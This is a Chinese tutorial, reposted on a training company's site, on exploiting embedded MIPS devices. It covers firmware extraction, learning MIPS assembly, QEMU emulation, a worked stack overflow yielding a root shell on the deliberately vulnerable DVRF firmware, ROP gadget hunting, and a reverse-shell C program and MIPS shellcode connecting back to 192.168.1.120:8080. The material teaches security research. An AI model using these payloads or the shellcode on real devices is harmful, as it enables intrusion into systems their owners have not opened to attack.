嵌入式培训
达内IT学院
400-996-5531
在过去的几个月中,我一直在培训人们利用嵌入式设备进行攻击。 我的幻灯片无法提供足够的信息,所以我想把所有东西都写出来供人们在线消化。 以下博文是“第1部分”,它将向读者介绍嵌入式设备的软件方面。 我决定首先涵盖软件,因为大部分漏洞都存在于软件堆栈中,不论二进制应用程序还是驱动程序。 第2部分将介绍硬件堆栈,重点介绍JTAG是如何实际工作的以及如何利用修改硬件来绕过密码保护或提取烧入目标器件的信息。
一旦你能够获得嵌入设备中的固件文件,你就会想看看里面有什么。 幸运的是有一个名为Binwalk的开源工具,它可以解析目标二进制文件中可以找到的魔术字节。
为了给出这一切的可视化表示,我将使用Binwalk提取DVRFv0.3。
使用binwalk -e file_name 来提取镜像的内容
binwalk检测到的结构以及在其中的的偏移量
在vim中使用xxd显示由binwalk为TRX和gzip提供的偏移量匹配。 (使用vim打开DVRF_v03.bin,然后输入:%!xxd)
交叉引用binwalk使用的TRX结构。
在vim中使用xxd来交叉引用binwalk检测到的SquashFS结构的偏移量。
参数传递
函数入口和返回
堆栈使用
函数调用
分支条件
在这篇文章中,我将展示我是如何学习MIPS-I ASM的,只是使用反汇编和C语言。
这是一个非常简单的C应用程序,它将两个(int)参数传递给另一个函数返回两个整数之和。
#include <stdio.h>
// Function that calls another function with some arguments.
// This will be below the max amount of a(x) registers.
// by b1ack0wl
void main(){
int a = 0;
int b = 0x41;
pass_args_to_me(a,b);
}
int pass_args_to_me(int a, int b){
return (a+b);
}
一旦交叉编译完你的C应用程序,将它扔进一个反汇编器。使用任何你熟悉的反编译器,这里我使用radare2
当我们查看图形视图时,我们可以按g然后a再查看pass_args_to_me函数。
确保考虑传递给函数的参数数量大于可用参数寄存器数量的情况。 例如MIPS利用$ a0 - $ a3,让我们修改我们上面写的代码,使其具有4个以上的参数。
#include <stdio.h>
// Function that calls another function with some arguments.
// Passing more than 4 arguments to see what happens
// by b1ack0wl
void main(){
int a = 0;
int b = 1;
int c = 2;
int d = 3;
int e = 4;
int f = 5;
int g = 6;
int h = 7;
int i = 8;
int j = 9;
pass_args_to_me(a,b,c,d,e,f,g,h,i,j);
}
int pass_args_to_me(int a, int b, int c ,int d, int e, int f, int g ,int h, int i, int j){
return (a+b+c+d+e+f+g+h+i+j);
}
就像以前一样,我们将使用交叉编译器进行编译,然后放入Radare2来查看编译器生成的内容
所以现在我们知道如果有超过4个参数被传递给一个函数,那么多出的参数将被推入栈中。
在MIPS和基于ARM的处理器上需要注意的一件事是专用返回地址寄存器。 无论何时在MIPS上执行“跳转和链接”指令,都要知道该寄存器的地址将是指令指针的当前地址加上8个字节。 8字节的偏移量是由于流水线操作引起的,因为PC + 4将在跳转发生之前执行。 让我们编译一个在最终返回main()之前调用2个或更多函数的应用程序。
#include <stdio.h>
// Function callception!
// This is to analyze what happens when a function calls a function.
// by b1ack0wl
int call_one(); // declaration
int call_two(); // declaration
void main(){
int a = 0;
int b = 1;
call_one(a,b);
}
int call_one(int a, int b){
call_two();
return (a+b);
}
int call_two(){
return 1;
}
所以请记住,一个调用(JAL)会用$ PC + 8填充返回地址寄存器,但如果被调用函数调用另一个函数,$ ra寄存器将被覆盖,并且被调用者的地址将会丢失。 为防止这种情况,函数输入时首先将返回地址保存到堆栈中。 有了这些知识,我们将看到除了call_two之外,所有函数都会将返回地址保存到堆栈中,因为该函数不会调用任何其他函数。
通过分析函数入口,我们可以预测函数是否会调用另一个函数。 这在尝试查找位于堆栈中的内存破坏漏洞时非常有用。
研究人员在分析新体系结构时需要了解的最重要的一件事是处理器如何处理分支。 就像以前一样,我们将利用C和Radare2来分析这一点。
下面的应用程序将从argv [1]中获取输入,并将其作为int进行转换,并查看它是否小于5。
#include <stdio.h>
// What if....
// This is to analyze how basic branching works on MIPS
// by b1ack0wl
int main(int argc, char **argv[]){
if (argc < 2 ){
printf("Usage: %s number", argv[0]);
return 1;
}
int a = atoi(argv[1]); // cast argv[1] as an integer
if (a < 5) {
printf("%i is less than 5", a);
}
else{
printf("%i is greater than 5", a);
}
return 0;
}
现在我们来看看编译器会产生什么来满足我们的条件。
每当我们做比较时,我们就可以看到slti指令的用法。 由于大量的比较运算符和类型,条件语句将成为学习新汇编语言中最耗时的部分。 请参考C参考文献,以确保您分析了生成条件分支的所有不同方法。 例如在MIPS中,有些条件语句使用可能被滥用的有符号或无符号立即数。
现在你已经看到了一些例子,只要你有一个编译器和反汇编器,你就应该有能力来学习任何处理器的架构和汇编。 如果你不这样做,那么你将不得不以更加艰难的方式去做,阅读处理器的开发者手册,最终设计你自己的汇编器,模拟器和反汇编器。
如果您正在审计使用开源软件的设备,该软件可能会根据通用公共许可证进行许可。 如果是这样,那么简而言之,如果开发人员使用代码并编译它,则必须提供源代码! 如果开发者拒绝开源,那么他们就违反了GPL。
现在您应该了解如何轻松利用Google或您最喜爱的搜索引擎来查找您正在审计设备的源代码。
本节将假设读者具有利用基于内存损坏的漏洞的基本知识。 如果没有,请参阅本页底部的SmashtheStack参考。 SmashtheStack是我个人开始进入x86开发之旅的地方。
如果您正在审计基于MIPS的Linux嵌入式设备,那么在分析您的目标二进制文件时,您已经看到以下几点:
# cat /proc/11554/maps
00400000-00402000 r-xp 00000000 1f:02 218 /pwnable/ShellCode_Required/socket_bof
00441000-00442000 rw-p 00001000 1f:02 218 /pwnable/ShellCode_Required/socket_bof
2aaa8000-2aaad000 r-xp 00000000 1f:02 440 /lib/ld-uClibc.so.0
2aaad000-2aaae000 rw-p 2aaad000 00:00 0
2aaec000-2aaed000 r--p 00004000 1f:02 440 /lib/ld-uClibc.so.0
2aaed000-2aaee000 rw-p 00005000 1f:02 440 /lib/ld-uClibc.so.0
2aaee000-2aafe000 r-xp 00000000 1f:02 445 /lib/libgcc_s.so.1
2aafe000-2ab3d000 ---p 2aafe000 00:00 0
2ab3d000-2ab3e000 rw-p 0000f000 1f:02 445 /lib/libgcc_s.so.1
2ab3e000-2ab79000 r-xp 00000000 1f:02 444 /lib/libc.so.0
2ab79000-2abb9000 ---p 2ab79000 00:00 0
2abb9000-2abba000 rw-p 0003b000 1f:02 444 /lib/libc.so.0
2abba000-2abbe000 rw-p 2abba000 00:00 0
7f81e000-7f833000 rwxp 7f81e000 00:00 0 [stack]
正如你所看到的堆栈和堆区域被标记为可执行的,所以NX不用担心。 尽管堆栈是可执行的,但为了获得代码执行,还需要一些ROP操作。 您还会发现ASLR并未在大多数设备上实现,因此我们不必首先找到信息泄露错误。
使用Binwalk提取固件,你就会想要模拟二进制文件来分析崩溃。我个人使用可在解压缩固件的chroot环境中启动的QEMU的静态内置版本。这使exp开发人员能够访问与嵌入式设备使用的相同libc库,因此唯一会改变的是libc地址。有时需要创建一个完整的QEMU系统,因为主机可能不支持程序正在使用的IO调用导致崩溃。
如果您使用的是基于Debian的Linux Distro,那么您可以通过apt-get来安装QEMU。 sudo apt-get install qemu-user-static qemu-system- *
一旦你安装了QEMU,你就需要将二进制文件复制到解压缩固件的根目录下。在这个例子中,我们将使用DVRF_v03的MIPS Little Endian模拟器。 cpwhich qemu-mipsel-static ./
我们将使用pwnable binary / pwnable / Intro / stack_bof_01并为它制作一个小小的漏洞。然后,我们将把我们的有效载荷粘贴到实际设备上,以查看发生了什么。
二进制的源代码如下:
#include <string.h>
#include <stdio.h>
//Simple BoF by b1ack0wl for E1550
int main(int argc, char **argv[]){
char buf[200] ="\0";
if (argc < 2){
printf("Usage: stack_bof_01 <argument>\r\n-By b1ack0wl\r\n");
exit(1);
}
printf("Welcome to the first BoF exercise!\r\n\r\n");
strcpy(buf, argv[1]);
printf("You entered %s \r\n", buf);
printf("Try Again\r\n");
return 0x41; // Just so you can see what register is populated for return statements
}
void dat_shell(){
printf("Congrats! I will now execute /bin/sh\r\n- b1ack0wl\r\n");
system("/bin/sh -c");
exit(0);
}
由于我们的载荷中不能有NULL字节,我们将不得不依赖于执行部分覆盖。 由于这是Little Endian,我们可以覆盖3个最低字节,同时将最高字节设置为NULL。 如果架构是Big Endian,这种技术将无法工作。
为了演示模拟你的环境的能力,我将制作有效载荷,同时展示如何获取所有加载库的模拟地址。
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A"
然后,我们将GDB本地附加到端口1234
(gdb) target remote 127.0.0.1:1234
127.0.0.1:1234: Connection timed out.
(gdb) target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234
0x767b9a80 in ?? ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41386741 in ?? ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 81010100 7efefeff 37674136 41386741 68413967 31684130 41326841 68413368
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000000 00000000 00000000 ffffffff 76fff634 0040059c 00000002 004007e0
t8 t9 k0 k1 gp sp s8 ra
R24 766e65e0 766ef270 00000000 00000000 00448cd0 76fff558 37674136 41386741
sr lo hi bad cause pc
20000010 0000000a 00000000 41386740 00000000 41386741
fsr fir
00000000 00739300
我们看到PC被设置为A8gA,它位于偏移204,它告诉我们我们保存的指令位置是208字节,但我们只会覆盖这4个字节中的3个。
再试一次,使最终目标$RA 0x00424242。
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7BBB"
(gdb) target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234
Program received signal SIGTRAP, Trace/breakpoint trap.
0x767b9a80 in ?? ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00424242 in ?? ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 81010100 7efefeff 41366641 66413766 39664138 41306741 67413167 33674132
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000000 00000000 00000000 ffffffff 76fff694 0040059c 00000002 004007e0
t8 t9 k0 k1 gp sp s8 ra
R24 766e65e0 766ef270 00000000 00000000 00448cd0 76fff5b8 37674136 00424242
sr lo hi bad cause pc
20000010 0000000a 00000000 00424242 00000000 00424242
fsr fir
00000000 00739300
(gdb) disass dat_shell
Dump of assembler code for function dat_shell:
0x00400950 <+0>: lui gp,0x5 /*
0x00400954 <+4>: addiu gp,gp,-31872 Skip over
0x00400958 <+8>: addu gp,gp,t9 */
0x0040095c <+12>: addiu sp,sp,-32 // This is where we need to jump to
0x00400960 <+16>: sw ra,28(sp)
0x00400964 <+20>: sw s8,24(sp)
0x00400968 <+24>: move s8,sp
0x0040096c <+28>: sw gp,16(sp)
我们希望跳过修改$ gp的指令,因为应用程序会崩溃。 所以我们将跳转到0x0040095c。
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root $ sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7`echo -e '\\x5c\\x09\\x40'`"
Welcome to the first BoF exercise!
You entered Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7\ @
Try Again
Congrats! I will now execute /bin/sh
- b1ack0wl
我们甚至可以设置一个断点来确保我们跳转到函数内的正确偏移处。
(gdb) target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0x767b9a80 in ?? ()
(gdb) break *0x0040095c
Breakpoint 1 at 0x40095c
(gdb) c
Continuing.
warning: Could not load shared library symbols for 3 libraries, e.g. /lib/libgcc_s.so.1.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?
Breakpoint 1, 0x0040095c in dat_shell ()
(gdb) i r
zero at v0 v1 a0 a1 a2 a3
R0 00000000 fffffff8 00000041 767629b8 0000000a 767629c3 0000000b 00000000
t0 t1 t2 t3 t4 t5 t6 t7
R8 81010100 7efefeff 41366641 66413766 39664138 41306741 67413167 33674132
s0 s1 s2 s3 s4 s5 s6 s7
R16 00000000 00000000 00000000 ffffffff 76fff694 0040059c 00000002 004007e0
t8 t9 k0 k1 gp sp s8 ra
R24 766e65e0 766ef270 00000000 00000000 00448cd0 76fff5b8 37674136 0040095c
sr lo hi bad cause pc
20000010 0000000a 00000000 00000000 00000000 0040095c
fsr fir
00000000 00739300
(gdb) x/3i $pc
=> 0x40095c <dat_shell+12>: addiu sp,sp,-32
0x400960 <dat_shell+16>: sw ra,28(sp)
0x400964 <dat_shell+20>: sw s8,24(sp)
我们采用精确的有效载荷到嵌入式设备,并且漏洞应该按预期工作。
\# cd /
\# ./pwnable/Intro/stack_bof_01 "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7`echo -e '\\x5c\\x09\\x40'`"
tered Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag7\ @
Try Again
Congrats! I will now execute /bin/sh
- b1ack0wl
id
uid=0(root) gid=0(root)
要在gdb中查找导入的库的地址,需要执行以下操作:
(gdb) set solib-search-path /<path to>/_DVRF_v03.bin.extracted/squashfs-root/lib/
(gdb) info sharedlibrary
From To Syms Read Shared Object Library
0x76767b00 0x76774c20 Yes (*) /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/libgcc_s.so.1
0x766eb710 0x7671c940 Yes (*) /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/libc.so.0
0x767b9a80 0x767bd800 Yes (*) /home/b1ack0wl/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib/ld-uClibc.so.0
要获得基地址,您需要从表格中的“From”地址中减去Entry Point地址。 例如,通过执行以下操作可以找到libc.so.0的基址:
b1ack0wl@b1ack0wl-VM ~/DVRF/_DVRF_v03.bin.extracted/squashfs-root/lib $ readelf -a ./libc.so.0 | more
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x6710 // Address to subtract代码
libc.so.0 = 0x766eb710 - 0x6710 = 0x766E5000
然后可以利用Radare2反编译库给出指令的偏移。
因此,一旦建立了ROP链,您只需要替换可通过cat / proc / [pid] / maps找到的libc地址。 基地址就是你需要的。 如果ROP在QEMU工作,它有99%的可能性在实际设备上工作。
在设计DVRF项目中的练习时,我想包括我亲眼所见的最常见类型的漏洞。 最常见的是基于堆栈的缓冲区溢出,如果您不熟悉ASM,这可能有点难度。
下面的漏洞利用代码需要花费大约8个小时才能完成,因为我仍然在学习MIPS汇编,但是这个漏洞利用在QEMU中制作,然后交给Linksys设备。
由于堆栈是可执行的,并且库地址不会移动,我们可以对我们的ROP链进行硬编码,但最终ROP链的想法是将$SP内的值移动到可以调用的寄存器中。 硬编码堆栈地址在我看来并不可靠,我宁愿使用偏移量代替。 下面是pwnable二进制的map输出。
# ./socket_bof 8888 &
Binding to port 8888
11554
# cat /proc/11554/maps
00400000-00402000 r-xp 00000000 1f:02 218 /pwnable/ShellCode_Required/socket_bof
00441000-00442000 rw-p 00001000 1f:02 218 /pwnable/ShellCode_Required/socket_bof
2aaa8000-2aaad000 r-xp 00000000 1f:02 440 /lib/ld-uClibc.so.0
2aaad000-2aaae000 rw-p 2aaad000 00:00 0
2aaec000-2aaed000 r--p 00004000 1f:02 440 /lib/ld-uClibc.so.0
2aaed000-2aaee000 rw-p 00005000 1f:02 440 /lib/ld-uClibc.so.0
2aaee000-2aafe000 r-xp 00000000 1f:02 445 /lib/libgcc_s.so.1
2aafe000-2ab3d000 ---p 2aafe000 00:00 0
2ab3d000-2ab3e000 rw-p 0000f000 1f:02 445 /lib/libgcc_s.so.1
2ab3e000-2ab79000 r-xp 00000000 1f:02 444 /lib/libc.so.0
2ab79000-2abb9000 ---p 2ab79000 00:00 0
2abb9000-2abba000 rw-p 0003b000 1f:02 444 /lib/libc.so.0
2abba000-2abbe000 rw-p 2abba000 00:00 0
7f81e000-7f833000 rwxp 7f81e000 00:00 0 [stack]
地址0x2ab3e000是libc可执行区域的基址,因此这是在QEMU漏洞利用时在设备上定位的唯一值。
整个ROP链与Radare2的/R功能一起使用。例如,我正在为我的上一个ROP小工具寻找“move t9,a1”,并通过执行以下操作来找到它:
[0x00017ae0]> /R move t9, a1
0x0001f078 4c0082ac sw v0, 0x4c(a0)
0x0001f07c 21c8a000 move t9, a1
0x0001f080 4c008424 addiu a0, a0, 0x4c
0x0001f084 08002003 jr t9
0x0001f088 2128c000 move a1, a2
0x0001fbc8 380082ac sw v0, 0x38(a0)
0x0001fbcc 21c8a000 move t9, a1 // Offset within Libc that was used for Gadget #4
0x0001fbd0 38008424 addiu a0, a0, 0x38
0x0001fbd4 08002003 jr t9
0x0001fbd8 2128c000 move a1, a2
[0x00017ae0]>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
int sockfd;
int lportno = 8080; // listener port
struct sockaddr_in serv_addr;
char *const params[] = {"/bin/sh",NULL};
char *const environ[] = {NULL};
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
serv_addr.sin_family = AF_INET; // 2
serv_addr.sin_addr.s_addr = inet_addr("192.168.1.120"); // RHOST
serv_addr.sin_port = htons(lportno);
connect(sockfd, (struct sockaddr *) &serv_addr, 16);
// redirect stdout and stderr
dup2(sockfd,0); // stdin
dup2(0,1); // stdout
dup2(0,2); // stderr
execve("/bin/sh",params,environ);
}
注意:最初我打算编写自己的shellcode,但被通知一个名为Bowcaster的项目,该项目已经有了shellcode。为了展示这个过程,我将置C代码于独立位置。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
int sockfd;
int lportno = 8080; // listener port
struct sockaddr_in serv_addr;
char *const params[] = {"/bin/sh",NULL};
char *const environ[] = {NULL};
sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
serv_addr.sin_family = AF_INET; // 2
serv_addr.sin_addr.s_addr = inet_addr("192.168.1.120"); // RHOST
serv_addr.sin_port = htons(lportno);
connect(sockfd, (struct sockaddr *) &serv_addr, 16);
// redirect stdout and stderr
dup2(sockfd,0); // stdin
dup2(0,1); // stdout
dup2(0,2); // stderr
execve("/bin/sh",params,environ);
}
如果看一下Bowcaster Reverse_TCP shellcode,会看发现上面的C代码和Bowcaster Shellcode是相同的。
hellcode = string.join([
"\xfa\xff\x0f\x24", # li t7,-6
"\x27\x78\xe0\x01", # nor t7,t7,zero
"\xfd\xff\xe4\x21", # addi a0,t7,-3
"\xfd\xff\xe5\x21", # addi a1,t7,-3
"\xff\xff\x06\x28", # slti a2,zero,-1
# Socket SYSCall
"\x57\x10\x02\x24", # li v0,4183
"\x0c\x01\x01\x01", # syscall 0x40404
"\xff\xff\xa2\xaf", # sw v0,-1(sp)
"\xff\xff\xa4\x8f", # lw a0,-1(sp)
"\xfd\xff\x0f\x3c", # lui t7,0xfffd
"\x27\x78\xe0\x01", # nor t7,t7,zero
"\xe0\xff\xaf\xaf", # sw t7,-32(sp)
# Connect back port 8080
"\x1f\x90\x0e\x3c", # lui t6,0x901f
"\x1f\x90\xce\x35", # ori t6,t6,0x901f
"\xe4\xff\xae\xaf", # sw t6,-28(sp)
# IP Address
IP_3+IP_4+"\x0e\x3c", # lui t6,<ip>
IP_1+IP_2+"\xce\x35", # ori t6,t6,<ip>
"\xe6\xff\xae\xaf", # sw t6,-26(sp)
"\xe2\xff\xa5\x27", # addiu a1,sp,-30
"\xef\xff\x0c\x24", # li t4,-17
"\x27\x30\x80\x01", # nor a2,t4,zero
# Socket Connect SYSCALL
"\x4a\x10\x02\x24", # li v0,4170
"\x0c\x01\x01\x01", # syscall 0x40404
"\xfd\xff\x0f\x24", # li t7,-3
"\x27\x78\xe0\x01", # nor t7,t7,zero
"\xff\xff\xa4\x8f", # lw a0,-1(sp)
"\x21\x28\xe0\x01", # move a1,t7
# Dup2 SYSCAL
"\xdf\x0f\x02\x24", # li v0,4063
"\x0c\x01\x01\x01", # syscall 0x40404
"\xff\xff\x10\x24", # li s0,-1
"\xff\xff\xef\x21", # addi t7,t7,-1
"\xfa\xff\xf0\x15", # bne t7,s0,68 <dup2_loop>
"\xff\xff\x06\x28", # slti a2,zero,-1
"\x62\x69\x0f\x3c", # lui t7,0x6962
"\x2f\x2f\xef\x35", # ori t7,t7,0x2f2f
"\xec\xff\xaf\xaf", # sw t7,-20(sp)
"\x73\x68\x0e\x3c", # lui t6,0x6873
"\x6e\x2f\xce\x35", # ori t6,t6,0x2f6e
"\xf0\xff\xae\xaf", # sw t6,-16(sp)
"\xf4\xff\xa0\xaf", # sw zero,-12(sp)
"\xec\xff\xa4\x27", # addiu a0,sp,-20
"\xf8\xff\xa4\xaf", # sw a0,-8(sp)
"\xfc\xff\xa0\xaf", # sw zero,-4(sp)
"\xf8\xff\xa5\x27", # addiu a1,sp,-8
# Execve SYSCALL
"\xab\x0f\x02\x24", # li v0,4011
"\x0c\x01\x01\x01" # syscall 0x40404
], '')
首先安装套接字(系统调用w /值4183)
连接到套接字(Syscall w / Value 4170)
为标准输入/标准输出重定向调用dup2(系统调用,值为4063)
使用/ bin / sh调用Execve(系统调用,值为4011)
可以通过查看Radare2中反汇编来验证系统调用。 我们将继续验证Socket系统调用。
我们可以看到值4183的系统调用是对C函数socket()的调用。 所有其他系统调用都以相同的方式进行了验证。
另请注意,shellcode在用户态QEMU中不能正常工作。 你将看到的这个shellcode的是一个带有错误消息的TCP连接而不是交互式shell。 在实际设备上运行时的shellcode按预期执行。
分析运行期间执行的指令的一种简单方法是利用Qira。 下图显示了Qira如何用于分析二进制文件而无需设置断点。
Qira基于Web的输出,显示所有已执行的指令和系统调用。
总而言之,有时候在制作漏洞利用的时候重新发明轮子并不是必要的,但是设计自己的shellcode和shellcode编码器是开发漏洞的好方法。 但在决定从头开始设计一切之前,一定要先利用所有可用的工具。 利用现有的shellcode并没有什么错,特别是如果它最终会正常工作,但一定要在使用它之前审计你在网上找到的任何shellcode。
填写下面表单即可预约申请免费试听!怕钱不够?可就业挣钱后再付学费! 怕学不会?助教全程陪读,随时解惑!担心就业?一地学习,可全国推荐就业!
Copyright © 京ICP备08000853号-56 京公网安备 11010802029508号 达内时代科技集团有限公司 版权所有
Tedu.cn All Rights Reserved